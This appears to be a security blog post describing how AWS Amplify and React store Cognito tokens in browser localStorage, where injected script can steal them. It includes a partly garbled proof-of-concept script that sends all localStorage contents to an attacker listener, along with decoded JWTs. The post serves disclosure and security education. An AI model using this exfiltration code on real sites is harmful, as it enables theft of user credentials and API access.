APPSEC – AWS Amplify+React XSS attacks against AWS localStorage vulnerabilities


Let’s start off that ReAct and AWS Cognito are awesome and so is the serverless framework. You should spend some time learning about them because some great innovation went into them. Unfortunately, developers are using the development tutorial using AWS Amplify + Cognito + ReAct.js and introducing a localStorage vulnerability which can be exploited by XSS attacks to steal Cognito credentials that are used to access your AWS applications.

Two separate issues were disclosed Jun 12, 2019 and Nov 29, 2018. Nearly, two years have passed and AWS Amplify does not appear to be addressing the situation except with cryptic answers that are more appropriate for Mobile ReAct Native developers.

Most importantly, if mobile and web clients use the same client frameworks, make use of the same converged IAM and API cloud infrastructure then vulnerabilities introduced in the legacy client infrastructure (Browsers) puts the mobile device users at risk too and vice versa. Thank you AWS Amplify SDK for the weakest link

I’ve revoked, expired and deactivated all cookies, sessions and secrets shared in this Article. Don’t try and be a smart pirate

Get Starting

Over the past few weeks, I was curious to learn how ReAct.js single page application (SPA) works. To spice things up, I decided to challenge myself by doing some basic Auth flows. Authentication and authorization flows are beast by themselves to develop and not something to take-on when you’re new to a development framework. But like any good ethical pirate, borrowing some code to reverse engineer a new puzzle sounded fun . As a crutch, I decided to complete the server-less-framework tutorial using the AWS Cognito and Amplify framework. The server-less tutorial is very popular and seemed like an easy way to see the different architecture components at play and how each component interacts while learning the details of ReAct.js fundamentals. The tutorial hand-held me through creating a “Note Taking App” that teaches the basics of integrating a ReAct.js app with AWS API Gateway, back-end Node.JS lambda APIs and DynamoDB.

Half-way through the tutorial I realized something strange …

The AWS Amplify framework was storing quite a bit of information inside of the localStorage of the browser. Storing sensitive data within local-storage may be issue if the correct XSS circumstances present themselves. I was reminded of an OWASP industry security best practice here and here. The theory is that an attacker could inject their javascript into your browser and read your localStorage to exfiltrate sensitive information. The easiest place to “illustrate” this type of attack would be in the tutorial’s index.html file from

<link rel="stylesheet" href="">

<link rel="stylesheet" type="text/css" href="|Open+Sans:300,400,600,700,800">

In the above snippet, we’re importing some very popular CSS libraries from external sources. You may argue, MAXCDN and GOOGLEAPIS are industry trusted external sources … maybe true… but let’s leave that aside and focus on the spirit of the example please. Whether your importing external JavaScript libraries or CSS (Yes, CSS can be used to inject java-script), if the external library provider is compromised then a script like below may be injected into the Browser to recover juicy details from the Browsers localStorage.

How likely is it that those external providers would be able to inject malicious code? Let me pause and show you the libraries developers asked to load for the ReAct.Js tutorial …

When preparing for the tutorial there are over 1,000 nodejs modules added for the serverless frame-work. That doesn’t include other CDNs and S3 buckets being used to serve up static content. I think it’s fair to say that most developers are not “reviewing” 1,000 Javascript packages for JavaScript or HTML exfiltration. Let’s move on …

Assumption: My first assumption is the XSS exploit occurs after user has already authenticated and generated the local Storage. I say this because if a vulnerable library can be introduced before hand, it be be more worth while to simply capture keystrokes etc.

Let’s try a quick PoC to check my assumptions ….

var theUrl = ("http://localhost:8000?stolen=+" + JSON.stringify(localStorage))
function httpGetAsync(theUrl, callback)
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.onreadystatechange = function() {
        if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
    }"GET", theUrl, true); // true for asynchronous


And here is my attacking machine receiving the stolen localStorage values as a URL encoded payload from the victim’s browser using AWS Amplify SDK.

At this point, I suspect that MAYBE, in some situations, an attacker could steal it the AWS AWS Amplify localStorage and abuse it .. somehow..

However, I’m still not sure “How big of a deal is this?” becauseI don’t clearly understand what is inside these local-storage values. Is it important? Who knows..

Even if the data was useful maybe there are browser mitigations which make it difficult to steal the data … I noticed that there was a lot of confusions on the AWS Amplify bug / vulnerability reports and elsewhere on mitigations.

If you start googling and digging into stack-exchange then you’ll find folks suggesting all types of things… Are the people in these forums correct? Should I trust them because, after all, I’m a newbie doing a copy-paste tutorial….am I being socially engineered on Stack-Exchange? let’s dig in a bit more …

Same-origin policy (SOP)? Will that help?

  • Generically, SOP is intended to help mitigate against Website A from stealing information from Website B within your browser pages… for example Javascript ought not to steal storage or memory variables from browser tabs . I dug a little around W3Schools, Google and Mozilla to learn about how these browsers implementations work.

My above example, I use XMLHttpRequest. According to Mozilla, not everything is blocked my default in their policy enforcement. That makes me wonder whether I can steal AWS Amplify’s localStorage from Browsers..

  • “Cross-origin writes are typically allowed” Interesting, go on ..
  • Cross-origin embedding is typically allowed. …. really HTLM and CSS both?
  • Cross-origin reads are typically disallowed, but read access is often leaked by embedding…. hmm so refer to above methods?
  • Broadly, one origin is permitted to send network information to another origin, but one origin is not permitted to receive information from another origin… You don’t say …. sounds like SOP has some limitations ...

Just to be sure, let’s perform the previous test from two completely separate hosts and IP addresses so we know that the XMLHttpRequest is changing between ReAct.js App and Attacker network locations.

And there we have it …..In this case, we are denied “READ” but allowed to send the application’s localStorage to the external attacker on assuming the Javascript was injected via embedded XSS.

What about Cross Origin Request Policy (CORS)? Will that help?

Good question. I checked back in with Mozilla and W3 schools to try and figure that out. Here’s what Mozilla had to say.

Image Source: Mozilla

“The Cross-Origin Resource Sharing standard works by adding new HTTP headers that let servers describe which origins are permitted to read that information from a web browser….<omitted>… Servers can also inform clients whether “credentials” (such as Cookies and HTTP Authentication) should be sent with requests”

My understanding is the only thing CORS will do is relax the READ error we encountered previously in the console… however CORS will not fix the exfiltration of AWS Amplify localStorage data

What about storing the data in the local memory or AsyncStorage? Will that help? That’s getting deep for a noob

AWS Amplify acknowledges the localStorage issue in their default framework and recommends re-configuring the storage to AsyncStorage while other users suggest to use local memory. Interestingly, if local memory is used then the credentials are cleared from memory creating “re-authentication” flows that disrupt user experience so I’m finding that most often ReAct.js developers are leaning towards AsyncStorage, much like AWS Amplify recommends.

However, AsyncStorage is a unencrypted, asynchronous, persistent, key-value storage system that is global to the app. And because ReAct Native mobile framework shares some of the same ReAct Web framework …. you can use AsyncStorage in the React Web framework too …

So What the bleep do we know further down the rabbit hole? Is it exploitable?

HTTPonly Cookies and Authorization headers kept popping up from the Web Developer community in the forums. I’m finding there is a fundamental communication issue between the Web App world and Mobile App world because they share similar libraries and frameworks but work on different clients with different attack surfaces. Weird.

Back to HTTPonly cookies. When JavaScript injection occurs from compromised external servers or man in the middle (proxy) injection then insecure sessions cookies could be stolen . So things like HTTPonly were invented to make it a bit more difficult for the client side code to retrieve and exfiltrate the secrets and sessions. Don’t believe me? Try this in your web console…

function listCookies() {
    var theCookies = document.cookie.split(';');
    var aString = '';
    for (var i = 1 ; i <= theCookies.length; i++) {
        aString += i + ' ' + theCookies[i-1] + "\n";
    return aString;

For example, if I run the above script in the web console … my HTTPonly LINKEDIN cookies used to “stay logged” are not visible making the previous attack more difficult. This is also important when considering Browsers hosts multiple pages, from multiple sites with multiple java scripts being loaded from external providers. But ReAct Native mobile apps don’t have “cookies” or “multiple site’s java-script in pages so there is a subtle difference in solving the ReAct.JS Web App attack surface problem verses the secure storage problem on the mobile device. To quote a Github user

“As react native runtime (mobile device) is quite different than the browser in terms of it cannot just load and run html or js files from the network (except from webview which has it’s own sandbox), I think the security flaw is much less apparent over there (mobile device)”

Back to storing in memory and AsyncStorage

For Web Apps will storing your tokens inside useState or AsyncStorage protect against XSS? I haven’t tested empirically but my theory is that properly crafted and injected java-script could lead to retrieval of key:value pairs because functionally that is what the AsyncStorage API is intended for (See below).

retrieveData() {
 AsyncStorage.getItem("id").then(value => {
        if(value == null){
             //If value is not set or your async storage is empty
             //Process your data 
        .catch(err => {
            // Add some error handling

How big of a deal is this? Can you abuse insecure AWS Amplify secrets set in Web Apps localStorage?

I feel it can be confidently said that for “Web React” situation, there are other Browser based risks and threats which exist that need to considered. So what is in that localStorage anyway? Does any of this even matter? Can we use this issue to steal the treasure?

Firstly, I can tell empirically, I can exfiltrate username/email information of the AWS PoC App users. At the least the default implementation of AWS-amplify leads to leakage of PII information. There is definitely PII information leakage.


Can anything else in localStorage be abused?

Let’s take a look and see …

Thankfully, AWS Amplify team made enumeration very easy for us. If you look at the end of this very long KEY name then you will find a description of exactly what each localStorge items is. Probably made writing a custom enumeration tool way easier, thanks Amazon. Let’s get to googling.

Amazon Cognito user pools implements ID, access, and refresh tokens as defined by the OpenID Connect (OIDC) open standard. Source: AWS

At this point, I feel like I’ve stumbled onto to something worth spending the rest of my Sunday evening on. Let’s fire up the Web tools and review the request headers and get a feel for how the server-less-client PoC App is behaving with the AWS API Gateway and Lambda functions.

I’ll start at the “main screen” and analyze the API behavior after I click a “note” with the intent that my client will call the GET NOTES API.

Let’s decode the .accessToken JWT from localStorage just to see what’s in it…. curiosity killed the cat but made the pirate very rich

Encoded .accessKey


Decoded .accessKey

  "origin_jti": "00dbe62f-7100-445b-99d7-db9c91330434",
  "sub": "9fd1be9a-de63-4d82-a80d-96da5a8c5a1d",
  "event_id": "c647c9c6-6287-49e9-9895-3094a8047de9",
  "token_use": "access",
  "scope": "aws.cognito.signin.user.admin",
  "auth_time": 1595795740,
  "iss": "",
  "exp": 1595812650,
  "iat": 1595809050,
  "jti": "f103bb59-d08c-4280-be14-910dd9b68ffc",
  "client_id": "3q53h6j58av1qh3tec0nrv4v6l",
  "username": "9fd1be9a-de63-4d82-a80d-96da5a8c5a1d"

Encoded .idToken


Decoded .idToken

 "origin_jti": "00dbe62f-7100-445b-99d7-db9c91330434",
  "sub": "9fd1be9a-de63-4d82-a80d-96da5a8c5a1d",
  "aud": "3q53h6j58av1qh3tec0nrv4v6l",
  "email_verified": true,
  "event_id": "c647c9c6-6287-49e9-9895-3094a8047de9",
  "token_use": "id",
  "auth_time": 1595795740,
  "iss": "",
  "cognito:username": "9fd1be9a-de63-4d82-a80d-96da5a8c5a1d",
  "exp": 1595812650,
  "iat": 1595809050,
  "email": ""

You can clearly enumerate the users email, username, client_id and a few other JWT key:value pairs.

Now let’s hop over the the first Cognito GET request and look at the AWS Amplify JSON request made to the AWS Cognito API server.


The ReAct AWS Amplify App sends out the AccessKeyId value from localStorage to the Cognito Service. In response, Cognito provides some valuable gems and rubies back to the ReAct Web App including a AccessKeyId, SecretKey and SessionToken.. my treasure chest run’eth over .. arghhhh


At which point, the ReaAct Web Application repackages the “SessionToken” into the header value of X-Amz-Security-Token then sends the Amz-Security token back to our customer API Gateway which fronts our server-less PoC Lambda functions.

At which point, the X-Amz-Security-Token has been validated by the API gateway, the Lambda parses the tokens to identify the Username then the Lambdas respond back with the User’s Note from DynamoDB….a pirates life to be


Instead of receiving the SessionToken or the X-Amz-Security-Token directly from Cognito and storing them in a protected Authorization Header or HTTPonly cookie the AWS Amplify framework stores an .idToken and .accessToken in insecure browser localStorage which can be used to recover the X-Amz-Security-Token to accessyour application APIs.

As I illustrated earlier, a properly injected piece of JavaScript can be used to recover the .idToken and .accesstoken and send them back to the attacker. Browser mitigations such as CORS and HTTPonly cookies will only assist against malicious JavaScript injections from reading “NEW” origins in some circumstances but there are work-around. The more common attack vector is “authorized” external sources via CDNs, iFrames or embedded XSS.

Unfortunately, two separate issues were opened Jun 12, 2019 and Nov 29, 2018. Nearly, two years have passed and AWS Amplify does not appear to be addressing the situation.

In all likelihood, new developers learning ReAct.js + AWS Amplify + Cognito are using tutorial and AWS Amplify framework and refactoring their non-prod because it’s easy to be a pirate, leaving these localStorage vulnerabilities in their production code.

RIP, Aaron Swartz who helped define the framework to share and protect my content under creative commons.